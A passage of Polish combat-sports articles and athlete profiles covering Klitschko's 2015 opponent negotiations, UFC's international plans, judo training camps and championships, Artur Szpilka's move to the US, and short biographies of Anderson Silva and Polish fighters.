tym przekonać. 6 albo 13 czerwca w Nowy Jorku. Decyzja po stronie Cotto, ale negocjacje jeszcze trwają.
KM
Wydawało się, że najbliższym rywalem czempiona IBF/IBO/WBA/WBO wagi ciężkiej Władimira Kliczki będzie Bryant Jennings. Od dłuższego czasu trwały negocjacje między stronami, które zmierzały w dobrym kierunku. Okazuje się, że wokół pojedynku narodziły się pewne problemy.
Jennings, który w swojej karierze pokonał Artura Szpilkę, miał być kolejny wyzwaniem dla ukraińskiego mistrza. Negocjacje między stronami postępowały i wydawało się, że do potwierdzenia walki brakuje jedynie podpisów. Termin i miejsce pojedynku są już znane. Kliczko będzie walczył 25 kwietnia w w hali Barclays Center na Brooklynie. Czy z Jenningsem? Między stronami pojawiły się pewne nieścisłości, co sprawia, że negocjacje utknęły w martwym punkcie. Czy strony osiągną konsensus? Team Ukraińca daje sobie jeszcze dwa tygodnie na rozstrzygnięcie sprawy. Jeśli nie dojdzie do porozumienia z Jenningsem to jego miejsce zajmie inny pięściarz.
Rywalem ukraińskiego mistrza mógłby być Shannon Briggs. Bokser już wcześniej był wymieniany w gronie kandydatów do pojedynku z mistrzem wagi ciężkiej. Drugą opcją dla Kliczki jest walka ze zwycięzcą starcia Bermane Stiverne vs Deontay Wilder, które odbędzie się 17 stycznia. Kwestią podstawową jest, aby ewentualny rywal Kliczki był gotowy do pojedynku 25 kwietnia i został zaakceptowany przez HBO i RTL.
Briggs, Stiverne oraz Wilder mają szansę dostać niepowtarzalną okazję, aby walczyć o ogromny dorobek wagi ciężkiej. Wszystko tak naprawdę zależy od Bryanta Jenningsa. Amerykanin został zaakceptowany przez HBO jako kolejny rywal Kliczki, ale nie jest to taki kaliber pięściarza, który gwarantuje określony zysk. Jennings obecnie ma zbyt wysokie wymagania finansowe, co do walki z Ukraińcem. Zdecydowanie musi je obniżyć. Strona mistrza z pewnością chciałaby osiągnąć określony zysk, ale przy obecnych żądaniach Amerykanina i uwzględnieniu wpływów z innych źródeł nie byłaby to kwota satysfakcjonująca. Jennings jest utalentowany bokserem, który może osiągnąć sukces w boksie, jednak na obecną chwilę nie jest aż tak popularny we własnym kraju, aby napędzić całą machinę medialno – marketingową. Rzecz jasna, nazwisko Kliczki robi swoje, ale rywal też ma w tym wypadku znaczenie.
Patrząc na ewentualnych „zastępców” Jenningsa. Briggs jest pięściarzem, który robi wokół siebie dużo szumy, więc pewnością przyciągnąłby uwagę mediów. Gorzej mogłoby być z poziomem sportowym. Ten z kolei zapewniłaby rywalizacja ze Stivernem. Z pewnością dla wszystkich pięściarzy walka z Ukraińcem byłaby ogromnym zaszczytem, jednak wydaje się, że najprawdopodobniej przeciwnikiem mistrza zostałby Briggs. Wątpliwe, aby zwycięzca pojedynku Stiverne – Wilder chciał boksować już w kwietniu. Jeśli nie Jennings, to Briggs?
Jennings ma jeszcze dwa tygodnie. Team Kliczki czeka. Jeśli Amerykanin obniży swoje żądania finansowe do walki dojdzie. Wiadomo, że nie będzie to pojedynek rodem z „Gwiezdnych wojen”, gdyż renoma rywala nie powala. Jennings dobrze prezentował się na ringu i dostał szansę. Teraz musi się zastanowić, co jest dla niego ważniejsze. Licytować się czy stanąć w ringu i sprawdzić się z mistrzem. A Kliczko? Wejdzie do ringu 25 kwietnia i będzie chciał pokonać swojego rywala. Na pewno nazwisko przeciwnika go nie powali.
KM
W ostatnim czasie w kontekście UFC pojawiały się różne informacje. Również te niezbyt przychylne. Gwiazdy MMA pozwały organizację do sądu za liczne naruszenia. Ponadto, pojawiły się informacje na temat niskiej sprzedaży pakietów PPV w 2014 roku. Mimo tych kłopotów UFC nadal jest niedośgnioną marką i liderem wśród światowych organizacji MMA.
Dla wielu zawodników uczestnictwo w gali organizowanej przez UFC jest wyróżnieniem oraz sportowym awansem. Zupełnie inny świat, inny poziom rywalizacji. Zobaczyć gwiazdy światowego MMA to nie lada gratka. Gratka, która może mieć miejsce w Polsce. UFC podała swoje plany, co do zagranicznych wojaży w 2015 roku. Organizacja uwzględniła również Polskę. Czy będziemy świadkami gali UFC w naszym kraju? Do tego z pewnością jeszcze daleka droga, ale cieszy, że UFC bierze pod uwagę Polskę.
Warto podkreślić, iż organizacja poszerza swoją ekspansję i chce docierać w różne zakątki ziemi. Oczywiście wiąże się to z chęcią zysku oraz budowania potężnego wizerunku, a także utrwalania marki w świadomości społecznej, a w szerszym kontekście – społeczności międzynarodowej. UFC chce rozszerzać swoją strefę wpływów.
Według informacji UFC Tonight najbardziej na planach organizacji skorzysta Brazylia. W Kraju Kawy ma odbyć się aż siedem gal UFC. Na pewno dwie będą miały miejsc się w Rio de Janeiro, a dwie kolejne w Sao Paulo – pierwsza już 22 lutego (UFC Fight Night 61: Bigfoot vs. Mir ). Brazylia po raz kolejny będzie miejscem, w którym zagości najbardziej medialna i najbardziej słyszalna organizacja MMA na świecie. Ciekawie będzie się działo w Europie. UFC zawita do kilku państw na Starym Kontynencie (oczywiście takie są plany, a rzeczywistość może wyglądać inaczej). Organiacja swoje imprezy chciałaby pokazać w: Szkocji, Polsce, Holandii oraz Rosji. Zaplanowana jest już gala, która odbędzie się w Szwecji. W Sztokholmie wydarzeniem będzie UFC on FOX 14: Gustafsson vs. Johnson. 24 stycznia zapowiada się bardzo ciekawa rywalizcja.
W planach UFC ma organizację dwóch gal w Meksyku. Jedna z imprez odbędzie się w Mexico City, a główną atrakcją będzie pojedynek wagi ciężkiej: Cain Velasquez vs Fabricio Werdum. Na brak wrażeń nie może narzekać Australia. UFC planuje w kraju kangurów kilka gal. Na mapie organizacji znalazały się również takiej kraje jak: Japonia, Korea Południowa oraz Filipiny.
Z powyższego wyraźnie widać, że UFC roztacza coraz szersze kręgi. Organizacja w swoich planach nie uwzględniła jedynie kontynentu afrykańskiego. Coraz lepiej UFC ma się w Brazylii, coraz poważniejsze plany wiąże z Australią i Meksykiem. Z kim zwiąże się na kontynencie europejskim? Czy Polska dostąpi zaszczytu goszczenia UFC? Z pewnością byłoby to ciekawe doświadczenie. Wiele zależałoby od klasy fighterów, którzy mieliby się pojawić w Polsce. Jednakże fakt, że nasz kraj znalazł się w planach UFC pokazuje, iż jesteśmy interesującym rynkiem. Znane marki chcą się u nas prezentować. To bardzo ważne. Czekamy zatem na rozwój wypadków.
KM
Brazylijski zawodnik MMA urodzony 14 kwietnia 1975 roku w Sao Paulo. Uważany za jednego z najlepszych zawodników MMA na świecie bez podziału na kategorie wagowe. W zawodowym MMA zadebiutował w 1997 roku w Brazylii, jednak regularne starty rozpoczął w 2000 roku dla organizacji Mecca. Pierwszą walkę dla organizacji Mecca Anderson przegrał z Luizem Azeredo. Po tej porażce Silva wygrał dziewięć kolejnych starć z rzędu. W 2002 roku rozpoczął karierę w PRIDE FC. W dwóch pierwszych walkach pokonał Alexa Steblinga oraz Alexandra Otsuke. Na gali Pride 25 zmierzył się z ówczesnym mistrzem UFC Carlosem Newtonem. Brazylijczyk pokonał Kanadyjczyka przez KO. Kolejnym pojedynkiem na Pride było starcie z Daiju Takase. Pojedynek zakończył się niespodziewaną porażką Andersona. Po porażce z Japończykiem Anderson wygrał trzy kolejne pojedynki pokonując takich rywali jak: Waldir Dos Anjos, Jeremy Horn, Lee Murray. 31 grudnia 2004 roku na gali PRIDE Schockwave 2004 Anderson zawalczył z Japończykiem Ryo Chonanem, mimo całkowitej dominacji Andersona w walce, Brazylijczyk nie był w stanie zakończyć jej przed czasem. W końcu w trzeciej rundzie Japończyk dźwignią na stopę poddał Silve, był to ostatni pojedynek Andersona dla organizacji PRIDE. Swoją karierę Brazylijczyk kontynuował dla Brytyjskiej organizacji Cage Rage, gdzie pokonał kolejno Jorge Rivere oraz Curtisa Stouta. W 2006 roku wziął udział w turnieju Hawajskiej organizacji Rumble on the Rock. W pierwszej walce przegrał z Yushin Okamim przez dyskwalifikacje. W tym samym roku stoczył swoją ostatnią walkę dla organizacji Cage Rage, gdzie zwyciężył z Tonym Fryklundem. W połowie 2006 roku związał się z organizacją UFC. W pierwszym starciu dla tej organizacji pokonał efektownie Chrisa Lebena czym rozpoczął serie szesnastu zwycięstw z rzędu. 14 października 2006 roku na gali UFC 64, Anderson pokonał Richa Franklina i zdobył mistrzostwo świata UFC wagi średniej. Łącznie swojego pasa bronił dziesięciokrotnie pokonując min. Viktora Belforta, Chael Sonnena, Forresta Griffina. 6 lipca 2013 stracił swój pas na rzecz Chrisa Weidmana, który przez TKO pokonał Andersona. Po stracie pasa Anderson zapowiedział, że nie zamierza odzyskiwać pasa, lecz UFC zestawiło ze sobą zawodników ponownie. Do rewanżu doszło 28 grudnia 2013 roku. W drugiej rundzie tego starcia, Anderson Silva niefortunnie złamał kość piszczelową nogi, co dało zwycięstwo Amerykaninowi. Na kilka godzin po walce Anderson Silva przeszedł operację która zakończyła się sukcesem.
Zima. Za oknem śnieg. Judocy wracają do startów. Tradycyjnie w Nowym Roku rywalizacja rozpoczyna się w w Mittersill w Austrii.
Oczywiście, blasku zawodom dodaje niezwykła aura miejsca. Piękne otoczenie, cudowny klimat i judo. W Mittersill zjawią się czołowe postaci dyscypliny. Liczba sportowców przekroczy 700. Łącznie ze sztabami szkoleniowymi i pracownikami w Mittersill będzie funkcjonowało ponad 900 osób. Cały świat pojawi się w Austrii, aby dać pierwszy akord w Nowym Roku w judo.
Gwiazd w Mittersill nie zabraknie. Pojawią się zawodnicy utytułowani, prawdziwe gwiazdy dyscypliny. W akcji zaprezentują się m.in. Sarah Menezes (BRA), Kayla Harrison (USA), Jarden Dżerbi (ISR), Majlinda Kelmendi (IJF / KOS), Arsen Gałstian (RUS), Lukas Krpálek (CZE), Varlam Lipartelini (GEO), Ilias Iliadis (GRE) i Heorhij Zantaraja (UKR). Poziom sportowy gwarantowany. Kwestią fundamentalną jest wkroczenie w nowy sezon, pełen wymagań, wyzwań i walki. Walki o najwyższe cele.
Ten rok dla judoków będzie niezwykle ważny, gdyż w 2016 roku odbędą się Igrzyska Olimpijskie w Rio de Janeiro. Teraz najlepsi zawodnicy mają czas, aby dobrze zaplanować przygotowanie do najważniejszej sportowej imprezy. Co zrobić, aby szczyt formy przypadł na Rio? To pytanie nurtuje wielu judoków. Warto podkreślić, że z pewnością istotne jest umiejętne rozplanowanie przygotowań, ale wątpliwe jest, aby gwiazdy w tym roku oszczędzały. W kwietniu w Glasgow odbędą się mistrzostwa Europy, a w sierpniu w Astanie mistrzostwa świata. Dwie imprezy, które tak naprawdę pokażą i ustawią zwycięzców w roli faworytów w Rio. Glasgow i Astana będą tymi miejscami, gdzie będzie można wysnuć pierwsze wnioski. Z tym zastrzeżeniem, że nie każdy zawodnik na równym poziomie podejdzie do mistrzowskiej rywalizacji. Wszystko zależy od planu przygotowań. Gwiazdy z pewnością nie odpuszczą sezonu, ale będą z głową dysponowały siłami, aby forma przyszła na określony czas.
W Mittersill rozpoczyna się nowy sezon. Rywalizacja będzie trwała od 7 do 16 stycznia. Czas gorący, w którym wszyscy będą wybiegali w przyszłość, ale warto oddać się austriackiemu klimatowi i rywalizacji na tatami. W akcji prawdziwe gwiazdy, wielkie emocje. Przewodniczący Austriackiej Federacji Judo i wiceprezes EJU Hans Paul Kutschera podkreśla wyjątkowość Mittersill. – Mittersill jest idealnym połączeniem silnego randori, austriackiej gościnności i wspaniałych wrażeń zimowych. Cieszę się również, że Mittersill jest częścią projektu EJU OTC od samego początku, co jest dla nas ogromnym sukcesem.
Sabrina Filzmoser, gwiazda austriackiego judo, podkreśla aspekt pracy, który jest podstawą sukcesu. – Niektórzy próbują zacząć sprawnie, inni w spokojnej, ale wszyscy mają w sobie ducha judo. Każdy ciężko pracuje, aby uzyskać jak najlepsze wyniki w nadchodzącym sezonie.
Mittersill otworzy drzwi nowego sezonu – pełnego wyzwań i ciężkiej pracy. W pięknych okolicznościach natury, cudownej aurze rozpoczną rywalizację judocy. Ogromna liczba zawodników i ogromne wrażenia. Czy taki będzie cały sezon? Kto będzie królował w tym roku? Jak powiedziała Filzmoser: – Ten rok będzie dużym wyzwaniem.
KM
We wtorek (6 stycznia) zakończyła się IV edycja „JUDO CAMP U17. Motywem przewodnim turnieju było hasło „Szlifujemy talenty – poszukujemy mistrza”.
Impreza gościła nie tylko kadry narodowe Polski, ale także kadry zagraniczne, co świadczy o renomie przedsięwzięcia. Zainteresowanie zagranicznych teamów zawodami w Polsce jest jak najlepszą wizytówką dla organizatora, czyli klubu UKS Olimpia Judo Elbląg. Impreza miała charakter trzydniowego treningu, podczas którego zawodnicy i zawodniczki mogli doskonalić swoje umiejętności. Udział w przedsięwzięciu wzięło blisko 400 judoków. Polskę reprezentował blisko 60 zawodników – kadra polski juniorek i juniorów młodszych, juniorek i juniorów wraz z trenerami kadry. Ponadto, w Elblągu zjawili się: Litwini wraz z 15 – osobową kadrą juniorów Litwy, Czesi, Niemcy, Szwedzi i Norwegowie.
Treningi w Elblągu to początek sezonu dla wielu judoków. Przede wszystkim istotą jest rozpoczęcie przygotowań i wejście w nowy rok. Dla wielu będzie to sezon licznych startów w Grand Prix, a przede wszystkim mistrzostw Europy i mistrzostw świata.
W Elblągu pojawiła się również kadra Polski seniorek wraz z trener Anetą Szczepańską. Szczepańska, która ma za sobą bardzo bogatą karierę w judo swoją przygodę z tym sportem oficjalnie zakończyła w 2010 roku, choć walczyć przestała dwa lata wcześniej. Teraz jest szkoleniowcem reprezentacji kobiet. Praca Szczepańskiej przynosi owoce, czego najlepszym dowodem jest piąte miejsce na ubiegłorocznych mistrzostwach świata w Czelabińsku naszej drużyny narodowej. Ponadto, warto dodać brązowy medal Katarzyny Kłys. W Elblągu nasza kadra szlifowała swoje umiejętności, być może w treningach uczestniczyła przyszła mistrzyni. Na imprezie pojawił się również Damian Szwarnowiecki, który jest ogromną nadzieją polskiego judo.
Hasło „Szlifujemy talenty – poszukujemy mistrza” jest bardzo szlachetne. Z pewnością taka impreza działa na rzecz rozwoju dyscypliny oraz jej popularyzacji. Fakt, że uczestniczą w niej zawodnicy z zagranicy i nasze kadry narodowe mówi sam za siebie oraz uwydatnia, iż jest to przedsięwzięcie wysokiej rangi. Organizator zapowiada, że w następnej edycji będzie więcej atrakcji. W przyszłym roku swój udział zapowiedzieli już zawodnicy z Armenii, Gruzji i Azerbejdżanu. Ponadto, organizator ma plan poszerzenia powierzchni hali (w tym roku w użytku było 800 metrów kwadratowych). Dodatkową atrakcją ma być gwiazda imprezy – ma nią być Japończyk. Więcej organizator nie zdradza.
Impreza, która miała miejsce w Elblągu nasuwa analogię do czasów, kiedy w skokach narciarskich trwały poszukiwania następcy Adama Małysza. Czy to zła droga? Skoro służy rozwojowi dyscypliny, przykuwa uwagę społeczeństwa oraz sprawia, że dzieci i młodzież garną się do treningów judo to jak najbardziej postępowanie jest słuszne. Czy skuteczne? Liczą się działania i rozwój. Jeśli organizator jest gotowy dalej przygotowywać przedsięwzięcie oznacza to, że jest to dobra forma rozrywki, a być może dla kogoś stanie się to życiowa droga. Od zabawy do mistrzostwa.
KM
Nadzieja polskiej wagi ciężkiej wyrusza za ocean. Artur Szpilka postanowił rozwijać swój potencjał w Stanach Zjednoczonych, gdzie są większe możliwości, większe pieniądze i lepsze standardy. Czy to będzie przełomowy krok w karierze Szpili?
Szpilka na polskim podwórku osiągnął wszystko. Wygrał długo oczekiwaną walkę z Tomaszem Adamkiem i udowodnił, że obecnie jest najlepszym bokserem wagi ciężkiej w Polsce. Na rodzimej ziemi nie ma dla pięściarza kolejnych wyzwań. Co dalej? Aby rozwijać swój talent musi szukać kolejnych wyzwań. Myślisz rozwój – mówisz Stany Zjednoczone. Czyż nie tak?
Wielu podjęło taką decyzję, niewielu się w stu procentach powiodło. Podczas ostatniego programu „Puncher” promotor Szpilki, Andrzej Wasilewski, poinformował, że bokser w ciągu najbliższych dni podpisze kontrakt z Alem Haymonem. Strony są bardzo blisko porozumienia i wszystko jest na dobrej drodze do rozpoczęcia współpracy. Haymon to jeden z najpotężniejszych i najbardziej wpływowych menadżerów na świecie. Współpracuje z najlepszymi nazwiskami na świecie, ma ogromną siłę przebicia i niezliczone możliwości. Fakt, że Haymon w swojej pracy związał się z takimi nazwiskami jak Floyd Mayweather Jr, Amir Khan, Erislandy Lara czy Deontay Wilder mówi sam za siebie. Szpilka ma okazję trafić na człowieka, który w wielkim świecie boksu porusza się swobodnie niczym baletnica. Czy Haymon otworzy przed Polakiem wielki świat? Istotne jest, że Artur Szpilka może współpracować z tak wpływowym człowiekiem, jednak na tym jego rozwój się nie kończy. Przede wszystkim – Szpila musi pracować nad sobą, nad swoim boksem. Haymon może mu otworzyć furtkę do walk z wysokiej klasy rywalami.
Kwestią podstawową jest podpisanie umowy między stronami. Szpilka wyrusza do Ameryki, aby doskonalić swoje umiejętności. Nad rozwojem polskiego boksera będzie czuwał sam Ronnie Shields. Przed Szpilką okres ciężkiej pracy pod okiem wybitnego trenera. Pracy, która może wydać owoce. Na sukces trzeba zapracować, a taka osobistość jak Shields może pozytywnie wpłynąć na młodego pięściarza.
Kolejny pojedynek Artur Szpilka prawdopodobnie stoczy w marcu podczas gali, na której gwiazdą będzie Andrzej Fonfara. Walki transmitować ma telewizja Showtime, więc Szpila dostanie okazję zaprezentowania się szerszemu gremium. Szpilka będzie trenował i rozwijał się w Ameryce, temu poświęci uwagę. Jego celem będą walki za oceanem, ale bokser z Wieliczki ma również pojawiać się w Polsce. Prawdopodobnie Szpilka raz na rok stoczy walkę na ojczystej ziemi.
Czy współpraca z Haymonem nada rozpędu karierze Szpili? Z pewnością jest to dobry krok, jednak musi dojść do podpisania umowy między stronami. Szpilka rozpoczyna nowy rozdział w swojej karierze. Treningi w Ameryce, pod okiem Ronniego Shieldsa to zupełnie inny kaliber. To wyzwanie, weryfikacja możliwości i wytrzymałości, a także kształtowanie charakteru. Czas pokaże, czy Szpilka wykorzysta szansę i zdobędzie Amerykę.
KM
Często analizie poddajemy kwestię umiejętności poszczególnych bokserów. Zdarza się, że porównujemy byłe i obecne gwiazdy pięściarstwa. Wydaje się, że znanych postaci jest coraz mniej.
Kiedyś laik wiedział, kim jest Mike Tyson czy Lennox Lewis. Teraz głównymi ikonami boksu są bracia Kliczko. Witalij szerszemu gremium ukazał się poprzez działalność polityczną. Czy obecnie mamy kryzys wyrazistych postaci? A może tzw. showmanów jest zbyt wielu? Odwołując się do lat 90. warto zwrócić uwagę, że postaci którym poświęcano uwagę były zarazem wybitnymi w swojej dziedzinie oraz posiadały osobowość budzącą zainteresowanie. Obecnie, pożądane jest, aby bokser miał „gadane” i nakręcał widowisko. Haye’owi umiejętności odmówić nie można, ale faktem jest, że częściej używał języka niż pięści. Podobnie Chisora. Fenomenem w tej dziedzinie jest Mayweather – człowiek wielu talentów.
Taka jest różnica między czasami minionymi, a obecnymi. Kiedyś mistrz był mistrzem i każdy o tym wiedział. To były postaci, ikony. Teraz w tej ogólnej mieszance trudno znaleźć wyrazistych bohaterów. Wiadomo, że są (byli) bracia Kliczko, Mayweather czy Pacquiao. Z pewnością to kwestia czasów i zmieniających się wymagań.
W latach 80. i 90. bokser w trakcie kariery amatorskiej potrafił stoczyć ponad dwieście walk. W tym czasie pięściarz przechodził prawdziwą szkołę życia i zdobywał jakże cenne doświadczenie. Obecnie do kariery amatorskiej nie przywiązuje się aż takiej wagi i podejście to nie jest najlepsze. Zawodnik musi obyć się z ringiem, nabrać ogłady. Gdy kariera amatorska jest zaledwie ułamkiem w jego życiu to z miejsca zabiera mu się pewien obszar na popełnianie błędów oraz nabieranie ringowego obycia. Ktoś zagadnie, że skoro gość ma talent to sobie poradzi. Jasne, oczywiście. Z tym, że każdy ten talent musi w sobie odkryć i nauczyć się nim posługiwać, nabrać pewnych umiejętności wykorzystywania daru, który posiadł. Skoro posyłamy dziecko do szkoły, aby nauczyło się czytać i pisać to młodemu pięściarzowi należy się czas adaptacji zwany karierą amatorską. Również z tego względu, że nie każdego można rzucić na głęboką wodę. Z jednej strony kariera amatorska ma aspekt czysto sportowy, aby bokser nabrał ogłady, a z drugiej psychologiczny. Pięściarz musi nauczyć się radzić z presją, trudnymi sytuacjami i publicznością. Młody bokser występujący w Madison Square z pewnością nie wchodzi do ringu na luzie, jeśli nie został nauczony radzenia sobie z presją.
Czy aż tak duża jest różnica między czasami minionymi, a obecnymi? Kwestia osobowości i ich wyrazistości rzuca się w oczy, a także kwestia podejścia do kariery amatorskiej. Wielki mistrz wagi ciężkiej Evander Holyfield podkreśla znaczenie amatorstwa: – Obecnie nastała zupełnie inna era pięściarstwa. Ja, Lewis, Bowe czy Tyson mieliśmy długie kariery amatorskie. Gdy spyta się tamtych pięściarzy ile stoczyli amatorskich walk w swojej karierze i porówna się ten bilans z dzisiejszymi pięściarzami, to widać wyraźną różnicę. Czy dzisiejsze gwiazdy poradziłby sobie w latach 90? Czołowymi postaciami wagi ciężkiej są bracia Kliczko. Holyfield uważa, że Ukraińcy poradziliby sobie w jego erze: – Kliczko daliby sobie radę, ponieważ byli dobrze prowadzeni. Tak samo jak i my.
Boks nie zatrzymał się w miejscu, lecz z każdym dniem idzie do przodu. Ciężko dywagować nad kwestiami większego potencjału pięściarzy. Można pochylić się jedynie nad warunkami jakie obecnie panują. Widoczne są zmiany, czas robi swoje. Wydaje się, że czas Tysonów, Lewisów i Holyfieldów już minął.
KM
Rok 2015 w judo będzie obfitował w liczne wydarzenia. Liczymy na kolejne sukcesy w postaci medali z najważniejszych imprez oraz uporządkowanie sytuacji w Polskim Związku Judo.
Perturbacje wewnątrz władz nie służą wizerunkowi judo. Czas to w końcu zmienić. Najważniejsze jest dobro judo i ten fakt należy podkreślać. W tym wypadku na bok należy odsunąć interesy osobiste oraz urazy. Istotą całej sytuacji jest zaprowadzenie spokoju i zapewnienie warunków do rozwoju judo. Czy istnieje taka możliwość? Konflikt narasta, każda ze stron ma swoje racje. Z tym, że problem nie dotyczy nadużyć finansowych czy szeroko pojętych nieprawidłowości. Przede wszystkim chodzi o władzę i wpływy. Z tym, że wyraźnie należy podkreślić, iż nie jest to najlepsze pole do takich praktyk. Istotną jest judo i jego dobro. 8 marca odbędzie się Nadzwyczajny Kongres Polskiego Związku Judo w celu wyłonienia władz Związku. Należy pamiętać o zaangażowaniu i wkładzie w tworzenie podstaw dla rozwoju judo w Polsce. O tym, co w ostatnim czasie osiągnęliśmy oraz jaką renomę zdobyliśmy na świecie. To są najistotniejsze rzeczy. Liczy się działania, które daje owoce. 8 marca powinien zakończyć się proces, który zachwiał polskim judo.
W 2015 roku liczymy na medale naszych reprezentantów. W dniach 9 – 12 kwietnia w Glasgow odbędą się mistrzostwa Europy. Agata Ozdoba będzie broniła brązowego medalu. Z pewnością mamy potencjał, aby indywidualnie poprawić ten wynik. W dobrej formie są Maciej Sarnacki, Katarzyna Kłys oraz Daria Pogorzelec. Również w rywalizacji drużynowej z całą pewnością możemy liczyć na sukces. Ekipa Anety Szczepańskiej funkcjonuje bardzo dobrze i pod okiem mistrzyni ustawicznie rozwija się. Po mistrzostwach Europy przyjdzie czas na zmagania w mistrzostwach globu. 24 – 30 sierpnia w Astanie odbędą się mistrzostwa świata seniorów i seniorek. W 2014 roku w Czelabińsku po jedenastu latach w końcu zdobyliśmy medal na MŚ. Po brąz sięgnęła Katarzyna Kłys. Oby w tym roku nasza reprezentacja osiągnęła podobny wynik, bo nie ma, co czekać na kolejny medal.
W sierpniu w Sarajewie odbędą się mistrzostwa świata kadetów. Na początku września nasi reprezentanci wystąpią w mistrzostwach Europy Kadetów w Sofii. W dniach 4-8 września odbędzie się Uniwersjada w Gwangju. Pod koniec października w Abu Dabi do rywalizacji staną juniorzy i juniorki w mistrzostwach świata.
Na krajowym podwórku w kwietniu będziemy śledzić zmagania w mistrzostwach Polski seniorów i seniorek. W marcu w Katowicach będzie miała miejsce rywalizacja w Akademickich Mistrzostwach Polski. 28 lutego – 1 marca odbędzie się Turniej Warszawski – European Open Men Senior.
Punktem przełomowym, który uporządkuje sytuację na polskiej scenie judo będzie Nadzwyczajny Kongres Polskiego Związku Judo w marcu. Ponadto, w Astanie podczas mistrzostw świata liczymy na zdobycz medalową. Miejmy nadzieję, że w Czelabińsku w 2014 roku nadeszło długo wyczekiwanie przerwanie niemocy. Oby sportowo ten rok był udany. Pod innymi aspektami poukładany i spokojny.
KM
Polski zapaśnik urodzony 24 marca 1969 roku w Raciborzu. Pięciokrotny olimpijczyk, zdobywca złotego medalu Igrzysk Olimpijskich z 1996 roku. Jako zawodnik trenował zapasy w stylu klasycznym. Występował w kategoriach wagowych koguciej, piórkowej i lekkiej. Przez większość swojej kariery trenował w klubie MKZ Unia Raciborz. W swoim dorobku medalowym Ryszard posiada medale Igrzysk Olimpijskich, Mistrzostw Świata, Mistrzostw Europy oraz Mistrzostw Polski. Po zakończeniu kariery sportowej zajął się działalnością trenerską. W 2007 roku został trenerem Polskiej kadry narodowej zapaśników. W 2006 roku został wybrany radnym Raciborza, gdzie powierzono mu stanowisko przewodniczącego komisji oświaty, kultury, sportu, rekreacji i opieki społecznej. W 2010 roku ponownie został wybrany do rady miejskiej gdzie objął funkcje wiceprzewodniczącego rady miejskiej VI kadencji. Ryszard został odznaczony Krzyżem Kawalerskim Orderu Odrodzenia Polski za wybitne osiągnięcia sportowe.
Największe osiągnięcia sportowe to:
Polska zawodniczka mieszanych sztuk walki urodzona 5 sierpnia 1983 roku w Łodzi. Magdalena sporty walki uprawia od 1994 roku. W latach 2001-2008 była tryumfatorką wielu zawodów min. Karate shidokan, Kempo i BJJ. Największe sukcesy Magdy to zdobycie dwukrotnie mistrzostwa Polski w karate full-contact w kategorii juniorek i seniorek, trzecie miejsce w Pucharze Świata Karate Shidokan w 2005 roku oraz trzykrotny tryumf w Mistrzostwach Europy w Kempo (2004,2006,2007). W 2005 roku zdobyła zawodowe mistrzostwo Polski w Shidokan. W 2008 roku zdobyła także mistrzostwo Polski w Brazylijskim Jiu-jitsu. Magdalena zadebiutowała w MMA 9 października 2005 roku na łotewskiej gali World Full Contact Association w Rydze. Jej przeciwniczką była Łotyszka Oksana Chernikowa. Polka przegrała walkę jednogłośną decyzją sędziów. W 2007 roku wystartowała na turnieju Japońskiej gali K-GRACE, która odbyła się w Tokio. W ćwierćfinale pokonała Koreankę Eon Ju Lee niejedno głośna decyzją sędziów. W półfinale turnieju Jarecka zmierzyła się z Marloes Coenen. Polka przegrała ten pojedynek przez poddanie zza pleców. W 2008 roku stoczyła wygrany pojedynek z Iwoną Pajak. Rok później przegrała z Janą Kunicką przez TKO w pierwszej rundzie. W 2010 roku Magda Jarecka wystąpiła na gali Fighters Arena Łódź gdzie zmierzyła się z Litwinką Arune Lauzeckatie. Polka wygrała pojedynek jednogłośną decyzją sędziów. Magda jest zawodniczką Shidokan Łódź.
6 lutego w "Beau Rivage Resort & Casino" w Biloxi dojdzie do pojedynku mistrza świata federacji IBF wagi średniej Jermiana Taylora z Sergio Morą. Obaj pięściarze są jakby na uboczu, gdzieś schowani za pierwszym rzędem. Dlaczego?
Wypadałoby zacząć od Taylora skoro jemu przyjdzie bronić mistrzowskiego pasa. Jednak na początek słów kilka poświęcimy jego rywalowi. Sergio Mora to nazwisko znane, słyszane, bokser o określonej marce. Pięściarz solidny, który dobrze wykonuje swój fach. Mora w 2008 roku sięgnął po pas WBC wagi junior średniej. Mimo to nie spotkał się z szerszym zainteresowaniem i nie uzyskał wpływu na rynek bokserski. Sergio Mora to dobry bokser – to jest pewne, ma umiejętności predysponujące go do występów na najwyższym poziomie. Czegoś mu brakuje. Ale czego? Facet wywalczył mistrzostwo świata WBC, jednak w żaden sposób nie spotkał się z zewnętrznym odbiorem. Od trzech lat nie udało mu się wzbudzić zainteresowania swoją osobą wśród stacji telewizyjnych i kibiców. Czy to problem osobowości? Być może Mora jest cichy i skromny – ale czy to wada? Nie, nie w tym problem. Kwestią podstawową jest fakt, że Mora nie trafił na odpowiednich ludzi, którzy potrafiliby go wypromować i zbudować kapitał na jego osiągnięciach. W takim wypadku bokser cierpi i musi topić się w oparach solidności. Sergio Mora to mistrz i dobry pięściarz, ale brakuje mu siły przebicia. O swoje trzeba walczyć. Sergio Mora zapowiada, że chce zwrócić na siebie uwagę poprzez kończenie swoich walk przez nokaut. Z pewnością może to być klucz, który otworzy mu drzwi. Należy podkreślić, że w tym wszystkim musi być efektywność, czyli czynnik wzbudzający zainteresowanie. Jeśli nie ma wsparcia z zewnątrz to musi zawalczyć sam o siebie. Zrobić coś, co utkwi w pamięci. Wielu pięściarzy ma mniejsze umiejętności i ma „gadane”, na czym korzysta. Czy Mora walką z Taylorem rozpocznie nowy rozdział w swojej karierze?
A może będzie to przełom dla Taylora? W 2009 roku pięściarz zrobił sobie dwuletnią przerwę od boksu, jednak postanowił wrócić. Początkowo nie radził sobie zbyt dobrze i popadł w zapomnienie, jednak wszystko się zmieniło. Punktem przełomowym była walka z Samem Solimanem. Taylor dość niespodziewanie pokonał mistrza świata wagi średniej IBF i zdobył pas. Jego wartość wzrosła, ale na jak długo? Swego czasu Taylor był cenionym bokserem. To on pokonał Bernarda Hopkinsa i zunifikował cztery pasy – WBA/WBO/IBF/WBC. Stał się z miejsca wielkim pięściarzem, którego nazwiskobyło znaczące na rynku. Jednak koleje losu Taylora potoczyły się tak, że spadł z tronu. Dopiero walka z Solimanem przypomniała o jego istnieniu.
